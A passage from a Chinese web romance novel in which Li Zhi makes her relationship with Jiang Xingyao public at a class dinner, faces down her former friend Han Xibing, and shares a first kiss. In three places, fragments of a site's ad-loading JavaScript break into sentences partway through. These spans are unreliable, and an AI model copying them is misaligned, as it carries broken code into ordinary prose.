“群里从人数到菜式都敲定了啊。” 利知也知道,只要他们在一起了,两个班的人知道是早晚的事。 “别放鸽子了,”她说,“一起去吧。” “确定?” “嗯,确定!” “我下午去接你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !”低沉的声音带着明显的愉悦。 他又问:“中午给你带饭?” 这段时间相处下来,利知算是摸透了蒋星尧说的“带饭”和“出去吃”的区别了。 “带饭”表示他没空,这种情况大都是让助理带饭给她的; “出去吃”表示他有时间一起吃饭的意思。 “不用给我带了,”利知说,“冰箱还有些菜,我随便煮点就好。” 挂了电话之后,利知在床上发了一会呆,直到肚子咕噜噜叫才惊觉。 嗯,是时候把早餐午餐一起解决了。 午后一阵忙碌过后,才想起没回复谢霄。 她恋爱了的事,先和谢霄说一声吧。 利知斟酌了一会才给她发信息:[霄霄,有件事可能要和你说一下] [??可能?] [我恋爱了] [那么快吗!上次见面还单身着吧] [最近才谈的] [人怎么样?发照片来瞧瞧] [不用看照片了,很快你就能见到] [???我认识?] [嗯] [别吓我!我心脏不好] [呃……] [你说吧,我已经做好心理准备了。] 一听谢霄要做心理准备,利知又打退堂鼓了,[还是不说了] [说!必须说!快说!!] [就是]利知犹犹豫豫地打字,[今晚组局的那个] [嗳?] 谢霄直接发来一条语音,“蒋星尧?” 最后一个字调子升到都要破音了。 [……你这个反应,让我怕怕]谢霄都这么大反应,那两个班的人可想而知了。 “啊啊啊吓死我了,我以为是上次半路拦我们那个,叫什么来着……我还在想要是那个人我到底要不要祝福呢哈哈哈!” “……”利知记得,就是半路拦住她们自我介绍说和她同胖同瘦的那个! 谢霄直接打了电话过来,利知一接起就听到她铜铃般的笑声,“哎哟,心里那颗大石终于落地了!” 忽地顿住,“也就是说,蒋星尧上次说正在追的人,是你咯?” “嗯嗯……” “好啊你!藏得那么深!连我也瞒了是吧!” “我当时还没答应他嘛,”利知嘟囔着,“我又做不到没答应人家还到处炫耀的那种。” “也是。我们又不是韩习冰那么臭不要脸的……”谢霄话锋一转,“韩习冰知道你们的事吗?” “不知道。”利知说,“你是我第一个告诉的人啦!” “啊哈哈!那就好玩了!”谢霄按捺不住兴奋,“真期待她见到你们一起的反应啊!嗳她不知道会不会去呢?她的好姐妹倒是在群里说会去的。” 谢霄嚷嚷着说:“等会我在群里敲一下她!” 之后利知又和谢霄聊了很久。 谢霄追问了两人重逢后的细致末梢,听完了后不禁唏嘘,真是该死的甜美啊。 又感慨了一番,说优秀的人追人就像古代的皇子狩猎那样,一射就中。 这比喻…… 利知感觉背后一痛,有种被射了一箭的即感。 挂掉电话,利知摸了一会鱼,谢霄突然又来信息。 [哇靠!快看群!] [蒋星尧怎么@韩习冰了?] 25. 第25章 利知进群看的时候,韩习冰已经回复蒋星尧了。 蒋星尧:[@韩习冰上次的事抱歉了!今天你会去吧?我想当面给你道歉] 韩习冰:[没事的,不用在意] 过了一会才打出:[我会去的] 利知蹙起眉,一时搞不明白蒋星尧怎么又提那件事了。 这时谢霄的电话进来了。 “蒋星尧知道你和韩习冰有过节吗?”她问道。 “知道一些,”利知说,“就是上次林烯媚在群里说韩习冰和蒋星尧一起,我会不会生气那段聊天,他班的同学截图给他看过。” “哈哈哈,那我误会他啦!”谢霄笑着说,“我猜他的想法和我一样,确保韩习冰今晚会到场,然后给你出口气!” 利知一怔,瞬间明白她的意思。 大家乱点鸳鸯是一回事,可韩习冰和她的姐妹就这事阴阳她。 利知虽然没明确说过,蒋星尧多少能感觉出来了吧。 “利小知!”谢霄语气严肃起来,“好好打扮!务必好好碾压她!” * 利知在衣柜里挑了半天衣服,最后选了一条白色长裙。对丝领口,中长袖,束一条黑色的细腰带。 选了一双带跟的米白色单鞋。再上了个氧气感的初恋妆。 当蒋星尧见到白裙飘逸的利知时,不禁愣住了。 利知被他看得有些不好意思,低着头走过去,手被他的大手包裹着,一路带到车旁,拉开车门,好让她上车。 利知坐好了,蒋星尧单手撑在车顶,弯着腰看着她。 “上,上车啊!”利知红着脸小声道。 “想多看几眼,”他低声说,“你今天真漂亮!” 利知故意嗔他一眼,“我以前不漂亮了?” “漂亮啊!”他笑得一脸狡黠,“见惯了你穿睡衣的样子,今天穿这么漂亮,被惊艳到了!” “……”利知点了点他的额头,“快去开车啦!” 车子在路上行驶。 利知看他一眼,转回去,没一会又看他,再转回去。 蒋星尧抽空看她一眼,无奈一笑,“怎么了?” “怎么突然想到给韩习冰道歉?” “吃醋了?” “没……”忽然想到揭他马甲那次,蒋星尧说她过于理智和清醒。 于是话音一转,“我,我是吃醋了。” 蒋星尧笑了,看那表情还挺愉悦的,“乖啊!这个醋不会让你白吃的!” “……” 到了餐厅,把车停好,蒋星尧叫利知先别下车,自己快速下车后,绕到她那边,拉开车门,把手递给她。 利知看着眼前的大手,有些紧张地咽了咽口水,最后还是把手放进他手心里。 下午下了一场大雨,地上湿漉漉的。两人就这么大手紧紧裹着小手,信步走进餐厅。 因为来的人并不少,蒋星尧定了个大包间。 服务生领着两人走到包间,推开胡桃色的大门。 里面的人见到蒋星尧,大家站了起来,都笑着打招呼,随即看清他身边的人时,声音嘎然而止。 “利知?”6班的人率先打破缄默。 “嗨~”利知举着手,轻轻舞动手指和大家打招呼。 “你俩……哇靠!上次星尧说追的人是你?!” 大家也从惊呆中回过神来,马上联想到上次聚会的事。 有人说:“行啊你!深藏不露干大事啦!” “嗳,这就不对啦。”蒋星尧点了点自己的鼻子,“是我,干了件大事,追到了心上人!” “哈哈哈还不给说呢,这就护起来了!” 蒋星尧笑着说:“我好不容易追过来的,当然宝贝着啊!” 利知的脸热起来,连忙摇了摇交握的手,示意他适可而止。 蒋星尧看了她一眼,松开她的手,长臂往她身后一伸,轻轻搂着她往里面走去。 蒋星尧低头在她耳边轻声问:“想坐哪里?” 包间设有四桌,利知一进门就看到谢霄坐那对她挤眉弄眼的。 她指了指谢霄旁边,“我想坐那里。” “好啊。” 一坐下来,谢霄就凑过来说:“可以哇今天,又甜又御!” “真的可以吗?”利知其实有些忐忑的,要是打扮得过于隆重,对于今天这种普通的聚餐,怕会被认为故意抢风头;可要是太素了,又怕担待不起“蒋星尧的女朋友”的头衔。 “当然可以啊!”谢霄说,“你很适合这样的打扮,不过……” 利知心里一紧,“不过什么?” 谢霄一脸恨铁不成钢的样子,“你都快把不自信写到脸上了,趁韩习冰还没到,给我支棱起来!” 她拍了拍利知的后背,“抬头挺胸!” 利知照做,只是动作幅度过大,把正在和同学聊天的蒋星尧的注意力吸引过来了。 “嗯?怎么了?”他问。 “没什么,”利知适时把低迷的声调调高了些,“我在调整仪态。” 蒋星尧认真地看她一眼,低声笑了起来,“底子不错,怎么样都好看的。” “……”他这是把各种夸夸夸进行到底的意思吗? 谢霄也笑起来了。 利知这才想起还没给二人做介绍。 “这是谢霄,是我同学也是朋友。” “这是蒋星尧。” 两人互相打过招呼,又闲聊了几句,蒋星尧被人叫去别桌了。 蒋星尧好像有某种魔力,他一坐过去,陆续有人凑过去,一帮男的轰然作乐。 利知和谢霄有一搭没一搭地聊着天,期间陆续有人进来。她们坐的那桌离门口近,而她们坐的位置正对着门口,有人进来第一时间就能见到。 这时一抹飘逸的红色闪进来,利知抬起头望去,正好对上韩习冰那双寒眸。 刚松懈下去的心情又收紧了。 利知挺直身体,直直地与她对视。 韩习冰朝利知缓缓勾起一抹笑,随即抬步走过来,她身边的钟枞和林烯媚也跟了过来。 韩习冰拉开利知身边的座位正想坐下,被利知一手摁住椅背,“这里不能坐!” “为什么?”韩习冰问。 “她男朋友坐的。”谢霄抢着答道。 “男朋友?”韩习冰笑了,随即对利知意有所指道,“你的喜欢都这么间歇性三分钟热度的吗?” 利知只是笑笑,没回答。 忽然感到周遭的异样,韩习冰向四周扫了一眼,多了许多兴味的目光,在她这桌和里面那桌来来回回。 韩习冰低下头问利知:“你男朋友是谁?” “嗯?谁找我了?”如潺潺流水般的声音,却是轻松的语调。 一道颀长的身影闪过,在利知后面站定,大手轻轻搭在利知的肩膀,还宠溺地给她理了理有些凌乱的头发。 韩习冰的视线僵硬地从那双大手徐徐往上移。那人微低着头,眉眼垂下,唇角泛起一抹温柔的笑。 不可能!怎么会是他! 利知转过来抬头看他一眼,指了指伫立在旁的人,“韩习冰。” 蒋星尧这才抬头看过去,对韩习冰微微一笑,“你好。” “你,你们……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “正好。”蒋星尧俯身拿起桌子上倒了酒的杯子,“上次的事实在抱歉了,如有冒犯还请多见谅。” 说着把杯子举了举,一口喝完。 韩习冰直愣愣地看着蒋星尧,表情瞬息万变,最后扯了个牵强的笑,无力地回应了“没事”。 钟枞轻咳一声提醒道:“那边桌有三个空位,我们过去吧。” 三个人正要离开,利知突然出声,“等一下。” 三人皆是一怔,转过身看向利知。 利知不疾不徐地走到韩习冰面前,“上次的约定,还记得吗?” 韩习冰一愣,眸子里肉眼可见地凝结成冰渣子。 看来是记得的。 利知甜甜一笑道:“你的祝福对于我来说,意义非凡的。” 韩习冰脸上已然恢复得体的微笑,“恭喜你啊,利知。” 她意味深长地看了眼蒋星尧,“终于得偿所愿了。” 她又把语调拔高,“利知真幸运啊,被我们的蒋帅哥这么喜欢着呢!” “那是。”利知大言不惭道,“是比你幸运一点!” 韩习冰脸色一僵。 钟枞和林烯媚连忙拉着她去了另一桌。 利知身体松懈了下来,像长跑过后冲刺之后那一刻那样,软软地坐了下来。 蒋星尧笑了,抚慰性地揉了揉她的头发,也跟着坐了下来。 他凑过来,低声问道:“你和韩习冰的过节,不会是因为我吧?” “少臭美了。” “那是因为什么?” 利知也被问到了。 要是高中那时,她真的会以为韩习冰是因为喜欢蒋星尧而和她疏远的,可自从她们绝交之后,韩习冰好像与蒋星尧绝缘那般,没再传出过什么了。 加之韩习冰为了刺激她,又在同学聚会上拿蒋星尧来刺激她。 如果不是因为蒋星尧而和她绝交,那到底是什么呢? “反正跟你没关啦,”利知对他说,“可能是我和她性格不和吧。” 蒋星尧若有所思地点点头。 这时服务员端菜上来。 “先吃饭。”蒋星尧坐了下来。 因为是蒋星尧组的局,很多人都过来碰杯。加上蒋星尧和利知高调官宣,利知成了个显眼包,也喝了一些酒,还好一部分都是蒋星尧帮她喝的,不然真的会醉。 有人喝多了,指着蒋星尧的手链,大着舌头问:“星,星尧,你这条手链挺好看的,在哪买的?” 说着钝钝地指了指利知的手腕,“怎么不给女朋友也买一条呢?” “哈哈哈,贱哥喝多了,”另一个醉眼朦胧地痴笑着说,“不是买了吗……咦,上次还见她戴来着。” “你才喝多了,戴的那个不是星尧的女朋友!” 蒋星尧浅笑地看着两个醉汉你怼我怼,两要骨节分明的手指夹着红酒杯底座,轻轻晃动,而戴着手链的手则搭在利知的椅背。 他忽然扬声问道:“你们想不想知道我是怎么追到利知的?” “想啊!” “快说说!” 利知假笑着瞪他,蒋星尧顺了顺她的头发,对她安抚性的一笑,转而看向大家。 “利知生病了,我死皮赖脸去照顾她。”他扬了扬戴着手链的手,“我怕她拒绝我,于是特意去求我奶奶送我这条手链。这条手链是我爷爷戴过的,当年他就是戴着手链把我奶奶追到的。我小时候就听爷爷说过,戴着它去见喜欢的人,可以感应到对方心脏的磁场,然后把对方吸引住。” 蒋星散漫地晃动着酒杯,说的话却掷地有声,“这条手链,根本没有第二条。” 26. 第 26 章 “哦——”起哄声此起彼伏,还伴随着口哨声。 “爱的延续,好浪漫哦!” “哇靠,你小子私底下表白还不够,还来撒狗粮是吧!” “嗐,撒了你不照样照吃。” 在一片热闹声中,利知讶异地看向蒋星尧,蒋星尧索性撑着脑袋,定定地由她看。 “之前怎么没听你提过?”利知问。 “你又没问。” “……谁会这样问。”利知无奈地瞪他。 蒋星尧忽然凑到利知的耳边,低声说:“原本想那晚你不答应,我就给奶奶打个电话的。” “为什么给你奶奶打电话?” “当然是问问她呀,我都戴着追你了,结果还是一次次被你拒绝,然后……”他轻轻勾起唇,狡黠一笑,“让她老人家劝劝你,说不定你会心软答应我。还好不用走到那一步。” “……” 角落里,钟枞和林烯媚对视一眼,都看到了彼此的尴尬,她们偷瞄向韩习冰,只见她紧抿着唇,脸色惨白。 林烯媚给钟枞发了条信息:[你说,这次聚会,是不是冲着习冰来的?] 钟枞:[不只,也有冲着我们] 林烯媚:[我感觉自己很像小丑啊] 钟枞:[把感觉和很像去掉] * 吃差不多了,利知起身去洗手间,包间里的卫生间有人,她索性去外面的。 外面的卫生间在走廊的另一边,利知走近消防楼梯的口处,一边的消防门打开着,楼梯间处隐约传来几个女孩的谈话声。 “小卉,我猜蒋星尧肯定是追得轰轰烈烈的那种。” “怎么说?” 说话的人利知不熟,那应该是蒋星尧班的人。 “建群那会他不是说了吗,他正在追一个女孩,而且还没答应。听说他才出差回来没多久,就把女朋友带来了。这么高调张扬,那追人肯定也是轰轰烈烈的啊。” “你这么一说,好像有点道理欸。不过以他的条件上,怎么张扬高调也不为过,人家有这个底气。” “那女孩叫什么名字来着?” “利知。以前有些小胖,现在瘦下来了还挺可爱的。” “没想到蒋星尧喜欢这种类型的女孩子啊。” “是啊,完全没想到,我以为他会喜欢像那个韩习冰那种明艳照人的。” “你们说蒋星尧是不是真心喜欢的呢?” “喜欢的吧,不喜欢还费心思去追,又不是天仙,哦,还带出来官宣呢!但喜欢多久就不知道了,以他的身份地位,还有那长相和身材,只要他勾勾手指,什么样的女人没有?” “也是哦,他见的美女肯定不少,诱惑也无处不在。说不定哪天喜欢上明艳妩媚那些款的。” “你们听说了吗?他女朋友是网文作者,网文作者不是一天到晚待家里写小说吗?那他们两个的圈子和见识面都很不同吧?” “就是啊,反正这对我持观望态度吧。” “是啊,以后会怎么样,谁知道呢?” …… * 利知去完卫生间,没立刻回包间,给蒋星尧发了条信息,然后下了楼,去了拐角处的便利店。 从冰柜里取了一支柠檬茶,停顿了下,又多拿了两支。 付了款后,在外面的凳子坐下,开了一支吸了一口,冰冰凉凉的,感觉舒服多了。 外头走动的人并不多,利知托着腮,小口小口地喝着柠檬茶,眼神望向远处的黑暗,发起了呆。 “利知?”一道低沉的声音打破了利知的思绪。 利知回过神来,抬头望去,那人满脸纠结,一副欲言又止的模样。 利知在脑海里快速搜索此人,哦!就是上次聚会离开时拦住她和谢霄的那个人。 叫邱什么来着?保险起见还是中规中矩地说了声“你好”。 “上次的事,非常抱歉,我……”他支吾着说,“我不知道你和星尧的关系,如果知道我不会这样说的。” “哦。”利知也懵里懵外,已经不记得他当时说过什么话。 “那你……能不能别告诉星尧?” “哦?什么事不能告诉我啊?” 蒋星尧从拐角处现身,身旁还站着陈贺绒。 陈贺绒拍了拍蒋星尧的胳膊,“我去买包烟。” 又挑眉笑看着利知,一副事不关己高高挂起的样子。 蒋星尧悠悠地望过来,那要笑不笑的表情,不知道的还以为他在捉奸呢。 利知问心无愧,倒是对面那男的着急起来,连忙摆手说:“没没没什么,就上次利知找我聊了一会,说我和她高中时都胖嘟嘟的,现在都瘦下来了,还挺有缘的。我们什么都没聊的,也没留下联系方式。” 怎么有种此地无银三百两那味。 多得他的张冠李戴,利知终于把上次的事记起来了。 蒋星尧走到利知旁边坐下来,故意肃着脸问她:“利小姐,还有什么好说的?” 利知转过头看向那人问道:“你叫什么名字?” “邱裕仁。” “邱先生,其实刚才我已经想不起来了,感谢你把你上次说的话再温习一遍。” “我……”邱裕仁涨红着脸,瞄了眼蒋星尧,又不敢说辩护的话。 利知看看邱裕仁,又看看蒋星尧,然后小声问蒋星尧:“你以前是不是霸凌过人家?不然人家怎么那么怕你?” 蒋星尧笑了,抬头对站着的邱裕仁闲闲开口:“蚯蚓啊,你说说我有没有霸凌过你?你不说清楚,我女朋友还以为我是个恶棍呢。” 嘻笑着说着,却又带着警告的意味。 邱裕仁的额头直冒冷汗,他后知后觉自己一下子把两人都给得罪了,他连忙说:“没有绝对没有!星尧一直都品学兼优,没做过这样的事!是我,我不识好歹而已。” 邱裕仁说的解释利知一句没听进去,脑海里只徘徊着蒋星尧说的“蚯蚓”。 她又重新审视了邱裕仁一番。咦!轮廓是有点熟悉了! 那是高一的时候,利知放学路过单车棚的时候,被一个胖子指着嘲笑:“星尧,快看这个小胖妹,这么胖了还满脸的痘痘,真是又胖又丑哈哈哈哈!” 那个时候的利知因为渐渐发胖,又冒痘,最是敏感自卑的阶段,又在猝不及防下被人指着痛处嘲笑,真恨不得找个地洞钻进去。 她硬着头皮,等待嘲笑者同伴的附和嘲笑,不曾想他的同伴非但没有附和,还给了胖子一拳,“你这条蚯蚓怎么说话的,女大会十八变懂不懂,倒是你,再胖下去小心得脂肪肝。” 利知一愣,抬起头看向说话的人,他骑着山地车,一脚蹬在地面,笑看着身边的人。 那是利知第一次留意到蒋星尧。 回过神来的利知恍然看向邱裕仁,“原来你就是蚯蚓。” 蒋星尧偏头看她,“嗯?认识?” “他以前说过我是胖妹。还是你怼回他的,你记不记得?” “有这回事?”蒋星尧蹙眉思索起来,在脑海里刮搜了一回也没个模糊。 邱裕仁这下脸都白了,“利知,那个,真对不起,以前是我不识好歹,你别和我计较好吗?啊我还有事先走了,你们慢慢聊。” 没等二人给出反应就转身离开,走了没几步,左脚勾到右脚,自己给自己一个踉跄了。 利知奇怪地问蒋星尧:“怎么他很怕你的样子?” “他呀,是心虚。”陈贺绒从便利店走出来,坐下,“总是喜欢捧高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 踩低,还以为大家都喜欢这种恶趣味,我们当年就看不惯他这种一拉一踩的行为。” 利知点着头,也就明了当初蒋星尧替她说话的缘由了。 “怎么了?”蒋星尧见她出神,开口问道。 “没什么。”利知说着又停顿了下,“就,觉得你又变帅了。” “哎呀,我不应该在这里,我应该在店里啊。”陈贺绒拆开薄膜纸,取出一根烟叼在嘴里,眼里尽是嬉笑,也没有半点避嫌的意思。 利知有点不好意思了,刚才的话也是想到当蒋星尧高一出口相助那次才有感而发,完全忽略了还有其他人在。 她转而问蒋星尧:“怎么出来了?” 她问的是蒋星尧,收获的是两个回答。 “陪贺绒买烟。” “我陪他来找你。” 默了一瞬,陈贺绒先开口了,“不是你说不放心要出来吗?” 利知下来前是有给他发了信息,说下来买点东西。 她狐疑地看向蒋星尧,这就不放心了? 蒋星尧轻咳了一声,转而对陈贺绒说:“你说没烟了,又不敢出来的样子我才这么说的。” “我是陪你出来顺便买的啊。” “我是陪你出来顺便看看的。” “嗳你这人怎么耍赖了?” 利知看看旁边的人,又看看对面的人,一时无言了。 这两人,不会是喝多了吧? 她低头看了眼手边的两支柠檬茶,本来想给谢霄带上的,这下可有别的用处了。 “你们——”利知的声音柔和却响亮,成功制止了两人的拌嘴。 她把两支柠檬茶分别推到两人前面,“一人一支。” “喝了不许吵了哦。” “……” “……” * 离开的时候蒋星尧叫了代驾。 两人坐在后排。 利知低头看着两人交握的手,又看了看闭目的人。 她还想问怎么没叫司机来着,想想还是算了。 到了幸福里小区,利知下了车,蒋星尧也跟着下车,看样子是要送她进去。 “很晚了,你回去吧。”利知说。 “先送你上去。” 这时代驾把车停好下了车,把钥匙递给蒋星尧就离开了。 看着代驾扬长而去的背影,利知才悟过来,原来是把终点定到她这里了。 一到了家,蒋星尧就进了厨房,轻车熟路地打开冰箱,取出柠檬。 利知惊讶掉了,“你你你,什么时候买的柠檬?” “住在这里的时候买的了。”蒋星尧弯着腰,仔细地洗着表皮。 他笑着说:“我就知道你不会发现。” 利知讪讪地挠了挠脑袋瓜,“我没喝柠檬水的习惯嘛……” 蒋星尧把切好的柠檬放进杯子里,撞出汁泡水,转过来递到利知面前。 利知见状要接过,蒋星尧挪开手没让她拿杯子,“就这样喝。” “哦。”利知就着他送到嘴边的杯子把水喝光了,随后想到他喝酒比她还多,“你要不要也喝点?” “嗯。” “你再去切点来泡吧。” “不用。” 他的嗓音忽然沉哑了下来,原本如山涧流水般的嗓音多了几分让人沉沦的欲。 利知一怔,缓缓抬起头,那双黑眸此时正专注地看着她,眼神深邃幽暗,像隐藏着蓄意待发的狂暴。 她不期然想起,她写的小说有个桥段写过男主喂女主喝牛奶的,女主喝完问男主要不要喝一杯,男主说的就是,不用! 下一句是:品尝你嘴里的就够了。 她感觉心脏一收紧,蒋星尧,不会也来这么一句吧! 27. 第 27 章 空气变得稀薄。 利知抿了抿唇,怎么又口干了呢。 蒋星尧用指尖刮了刮她的脸颊,“脸怎么红了?” 他是用握水杯的手碰她脸颊,指尖因为沾过水有点湿湿热热的,落到她脸上时有种黏热感。指尖滑走之际,他手中的水杯又蹭到了她的唇角。 一热一冰的冲击感让她惊乍地吸了一大口气。 “怎么了?”蒋星尧问。 “凉。”利知指了指他手中的杯子。 蒋星尧侧身把杯子放到身后的操作台,再正过身与她面对面。 周围变得安静如斯。 利知清晰感觉到周遭的气场都变了,仿佛空气中散布着磷粉,只需一支火柴轻轻一擦,火就会着。 令人缺氧,气息短促。 过了好一会,蒋星尧才低声问道:“你说,厨房好还是沙发好?” “什么?” “想在哪接吻,嗯?”他的声音低沉,语速缓慢,尾音又微微上扬,既性感,又温柔,还有种故意为之的勾人。 利知愣神之际,蒋星尧已经贴了过来,顿时有股强烈的荷尔蒙侵袭周围。 利知顿时乱了方寸,说话也吞吞吐吐,“就,不能不选吗?” “好,不选。”说完他便侧过头,精准地嚯住她的唇,然后急切地厮磨起来。等双方的唇都足够滋润之后,毅然撬开她的唇,直抵僵住了的舌头。 利知像一颗身处暴风雨中心的小树苗,纤弱,摇摇晃晃,不得已双手搂住他的脖子,被动地承受着侵袭。 怎么和想象中的接吻,不大一样! “唔唔……”利知推了几下他的肩膀,唇上的桎梏才得以减缓。 双唇分开,拉出一条暧昧的银丝,利知羞得无法直视。 她喘着气低声控诉道:“就不能温柔点嘛!” “控制不住,抱歉啊。” 蒋星尧也喘着气,虽然道着歉,语气里却没有半分歉意。 利知心里还在嘀咕着,蒋星尧已经牵着她的手走出了厨房,来到沙发旁,摁着她的肩膀,让她坐下。 利知不知道他出于何意,于是仰着头一脸懵懂地望着他。 蒋星尧笑了,“你这个样子,让我觉得自己在干坏事。” 利知:“……难道不是?” 蒋星尧一挑眉,“是你说的,厨房沙发都要试一遍的啊。” “!!!我哪有!” “嗯?你说不选,不是两样都要的意思吗?” “……” 见利知的脸一红一白的,蒋星尧轻描淡写地说:“我会错意了?” “就是!” 蒋星尧也坐了下来,俯身靠近她耳朵,压低声音问:“再来?” 利知想到刚才暴风雨似的感觉,拧着眉说:“不了吧……” “这次我温柔点。” 两人坐在沙发上,挨得很近。 蒋星尧侧身面对着利知,一只手把玩着利知的手指,一根根的,缓缓地捋过。 玩了一会,手一使力,利知被轻轻推倒在沙发上。 蒋星尧双手撑在利知两边的耳侧,定定看着她,忽然俯下身,不设防地含住利知的耳珠。 利知全身一僵,倒吸了一口气。 然而还没结束,灵巧的舌头在上面打了个圈才把耳珠吐出来。 利知感觉到有股难以言喻的快感直冲天灵盖,脑神经被调动起来,兴奋不已。 那种感觉,很陌生,又令人难以启齿。 更羞耻的是!蒋星尧也发现了! 他捏了捏利知的耳珠,“原来这里是敏感区,那我下次……。” “别说了!”利知红着脸伸手去捂他的嘴。 蒋星尧拉开她的手,笑着说:“这么急?” 利知还没理解他说的什么急,新一轮的攻略就落下来了。 这一次是真的温柔了许多,吮.吸之间就像盛满了棉花糖,柔柔绵绵的。 这种和风细雨般缓慢的节奏渐渐把利知胸腔内填满了柔情蜜意。 初吻,总算圆满了。 * 笠日起床,利知拉开房门看到正在摆餐具的人,恍惚间好像又回到了那半个月陪护的时光。 她用力摇了摇脑袋,让自己清醒了些才慢慢走过去。 “还以为你上班去了。”她边走出去说。 “不急,”蒋星尧抬起头朝她一笑,“先陪你吃个早餐。” 利知去洗漱,经过客卧时往里瞄了一眼。 嗯,比她收拾得还整齐。 昨晚蒋星尧以自己喝了酒不能开车为由,说就在这住下。利知还没开口拒绝他就大喇喇地走进客卧了。 之前他住这里,那是因为做陪护她要包吃住,可现在他们的关系不同了啊,又是刚在一起。 同一起住,虽然只是同一屋檐下,她还是有些别扭的。 还有就是,利洛回国偶尔会来这里住的。他有时候出去玩太晚了,又不想回爸妈那里让他们唠叨,就会理所当然来打扰她了。 要是利洛回来,蒋星尧又刚好在这住着…… 啊不行不行!她暂时无法面对这样的场景! 于是在吃早餐的时候,利知状似无意般提出,“你放在房间里的东西,正好一起拿回去吧。” 蒋星尧顿了下,抬起头,用可怜兮兮的语气说:“都在一起了,还要赶我走?” “不是啦,”利知忙说,“是我弟回国经常住这的,要是被他看到你的东西在房间,我……” 利知在上次温女士来电话之后,有给蒋星尧讲过家里的情况,那时他就知道利知还有个弟弟叫利洛,早几年就跟随爸妈出国了。 凭心而论,在还没知晓恋情的情况下,家里人在她家见到男人的生活物品,那的确是影响不好。 他正色道:“嗯,我等下就全部搬走。” 利知试探道:“你,不会生我气吧?” “本来就是我考虑不周,让你家人见到我的物品在你家,的确不大好。” “没有没有,我们不是才在一起嘛,哪有什么都考虑周到的。” 随即她讨饶一笑,“我还要谢谢你的理解呢。” 蒋星尧刮了刮她的脸颊,“怎么谢起我了?这不是我理所应当的吗?” “就是觉得你很善解人意嘛!”难得的露出撒娇的语气。 蒋星尧转头看她,沉声问:“就这么想谢我?” 利知迟疑了一阵子,还是点点头。 蒋星尧点了点自己的脸,“亲一下作为补偿好了。” 哦!亲脸好办啦! 利知挪着凳子靠近,然后嘟着嘴靠近他送过来的脸庞,却在正要亲上之际,他忽然正过脸。 “啵”的一声,两唇相接。 利知愣住了,蒋星尧得逞一笑,长臂一伸,直接扣住她的后颈加深了这个吻。 一吻毕,利知气息不稳,还是忍不住嗔怪道:“花样真多……” 蒋星尧笑了,“这才哪到哪?” 他压低嗓音,故作神秘道:“以后,日子还长呢。” * 蒋星尧吃过早餐没多久就去上班了。利知继续待家中码字存稿。 码到晚上十二点,脑袋都晕乎乎的时候,被一阵突兀的铃声激清醒了。 强睁着眼去看屏幕,居然是韩习冰给她打来微信电话! 昨天利知从便利店回了包厢,韩习冰和钟枞,还有林烯媚已经提前走了。 好像她和韩习冰,也没什么好讲的吧?不过还是接起电话。 “利知,你,嗝,你不觉得膈应的吗?” 韩习冰的语速比平时要慢些,还打着嗝,听着像是喝多了。 利知蹙起眉问:“为什么要膈应?” “蒋星尧知道,知道你当初因为一个赌约就没喜欢他了吗哈哈哈嗝……你有什么资格说我呢?还说我连喜欢都不配,你,你不照样……自以为是拿得起放得下吗?你就承认吧,你的喜欢,廉价得很!” “他现在喜欢你,很得意是吧?还要我的祝福呢,你的底气就这么点了吗?他要是不喜欢你,是不是连这点底气都没有了?” “韩习冰,我和蒋星尧是正常谈恋爱,是你情我愿的,轮不到你来指指点点,还有……“ 利知停顿了下,继而说:“你打这通电话来什么意思,你心里最清楚。是不是当年你认为最不配站在他身边的人,此时成了他的女朋友,很不服气?” “韩习冰,就此过了吧!别让我,一而再地看不起你。” 说完,利知也不管对方是什么反应,毫不犹豫地挂断了电话。 虽然争了一口气,可心情也没见多好。好像有一股自心底发出的无力感,充斥着胸腔。 关于当年那个所谓的赌约。那是高二的一个周末的下午,利知去市图书馆自习,没多久蒋星尧和他的同学也来了,还坐在她对面的位置。 利知虽然背地里送过东西,写过便条叫他小心肝,真正面对面,是不敢有什么举动的,于是相安无事,各学各的习。 韩习冰这时给她打了通电话,那时刚因为韩习冰和蒋星尧在黑板报前的照片而传两人的绯闻,而利知和她俩已经疏远了。利知一时不知她找自己为何,于是接起了。 一接通韩习冰就直接了当说:“我在你后面。” “别回头,听着就好。” “敢不敢打个赌?你去蒋星尧身边坐下,问问题也好,聊天也好,我给你们拍张照片,然后放论坛上,如果因为这张照片传你们在一起,那我就输,如果没传就你输。输了就不能再喜欢蒋星尧了。敢赌吗?” 利知抿唇低头,手紧紧握着手机。她知道韩习冰想做什么,无非是和她当初和蒋星尧传的那样,仅凭一张照片,把舆论交给大家。 也许是好胜心作祟,最后利知答应了,抱着五三去问了一道困扰她很久的难题。 蒋星尧除了一开始有点意外之外,倒没有被打扰的不快,反而耐心地给她解答。 之后韩习冰匿名发了利知和蒋星尧在图书馆坐一起的照片,也没配文字,底下的评论倒是不少。 [咦?蒋男神那么快移情别恋了?] [应该是问问题吧] [我也觉得是问问题,那女孩看着不大像男神喜欢的类型] [就是!韩习冰那类还差不多] [这个女孩好像经常和韩习冰在一起,估计两人是好友吧] [本班人认证,照片上的女孩和习冰是好友,男神教她估计是因为习冰吧] [嚯嚯,解题了!男神教得这么耐心,不过是爱屋及乌罢] [散了散了,没啥看头的] * 也是自那之后,利知没再给蒋星尧匿名送过东西,写过便条了。 但她心里清楚,不是她愿赌服输,是她自己都说服不了自己。她好像真的没有哪一方面可以单独拎出为,与他相匹配的。 * 想太多只会影响赚钱的速度。接下来的几天,利知都在忙碌中度过。 这时新文终于存稿过半了,翻了日历,择了个大事皆宜的周六发文了。 先更新微博,然后发新文,很快就有一批读者来评论送花了。 开文三天,都是熟悉的读者来捧场的多,倒是有一个新名字,叫“五智”,每章都来投雷,却不发表任何评论。 这个操作有点熟悉,利知翻了下“五智”的专栏,往前翻,以前就简单一个“智”字。也是老读者! “智”这两年都有给她的文投雷,但好像个只会投雷的机器,每次雷一炸,评论都是系统的,从未发过一条系统以外的评论。 利知在“五智”最新投雷下回复:[谢谢谢谢!饱饱改名了呀] 连载的小说讲的是男女主从小就认识了,在小升初那年暑假女主的父母离婚了,女主跟着妈妈回了妈妈从小生活的小镇。 长大后的女主,因为生活的压力,少了小时候的天真烂漫,加之与男主社会地位的差距,没勇气和男主在一起。 把一系列内容更新之后,利知才翻看评论,没想到评论区已经吵了起来。< (function () {var id = 